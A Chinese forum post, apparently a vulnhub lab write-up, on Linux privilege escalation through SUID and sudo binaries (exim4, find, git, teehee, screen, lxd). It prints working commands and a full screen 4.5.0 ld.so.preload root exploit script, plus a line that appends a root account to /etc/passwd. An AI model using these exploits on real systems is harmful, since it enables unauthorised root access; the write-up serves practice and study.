电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 641 人浏览分享

记靶场中遇到的SUID提权

[复制链接]
641 0
1、查看SUID

查看具有SUID权限的脚本

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
##根据版本不同可以选择上面的不同命令执行查看

2、exim4

1)、查看版本

/usr/sbin/exim4 –version

QQ截图20211221111631.png

2)使用msf搜索exim

根据exim4版本选择相应exp

QQ截图20211221111749.png

ps:该exp直接运行在linux会存在问题,需要修改一下windows换行符问题
使用vim打开:set ff=unix保存即可。
直接上传脚本到靶场,授权。

wget ...        #一般上传到/tmp目录。
chmod 777 46996.sh
bash 46996.sh -m netcat   #运行该命令即可获得root权限

1999.png

练习:vulnhub DC-8

3、find

1998.png

find flag4.txt -exec "whoami" \;  #find 后面的文件必须市存在的,不然会报错
#-exec参数后面跟的是command命令,它是以 ; 为结束标志,由于各个系统中分号会有
不同的意义 因此在前面加上反斜杠
find flag4.txt -exec "/bin/bash" \; ##上面的whoami可以执行就可以使用bin/bash或者/bin/sh

有时候用/bin/bash不是root权限,然后使用/bin/sh

1996.png

4、git

sudo git -p help    #使用该命令然后一页未显示完就可以使用!/bin/bash提权。未成功
!/bin/bash
### -p是分页显示 即自动提取more命令 使用该命令的时候直接一页
显示完了内容 未成功提权

716.png

然后尝试使用config

sudo git help config
!/bin/bash

619.png


618.png

成功提权。

练习 vulnhub DC-2

5、teehee

teehee命令参数-a可直接在文件末尾追加内容 利用这一特性可以直接在/etc/passwd
下直接追加root组账号即可。

echo "test:x:0:0:::/bin/bash" |sudo teehee -a /etc/passwd
然后切换到test账号即可。

练习 DC-4

6、screen

screen在exp上有脚本

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

根据使用说明,创建两个文件libhax.c和rootshell.c 之后使用gcc进行编译

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

gcc -o /tmp/rootshell /tmp/rootshell.c

生成两个文件 直接上传到靶场然后运行即可。

616.png

首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell,成功提权

612.png

练习 vulnhub DC-5

7、lxd

611.png

先下载到kali中,使用root身份运行bash build-alpine。在当前目录生成一个压缩文件

610.png

创建hacker.sh 把漏洞库里的exp脚本拷贝到hacker.sh里面。接下来把文件alpine-v3.10-x86_64-2019
1119_1148.tar.gz和hacker.sh传输到靶场上:

29.png

chmod +x hacker.sh

./hacker.sh -f alpine-v3.14-x86_64-20210927_1136.tar.gz

28.png

练习vulnhub AI-web2

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.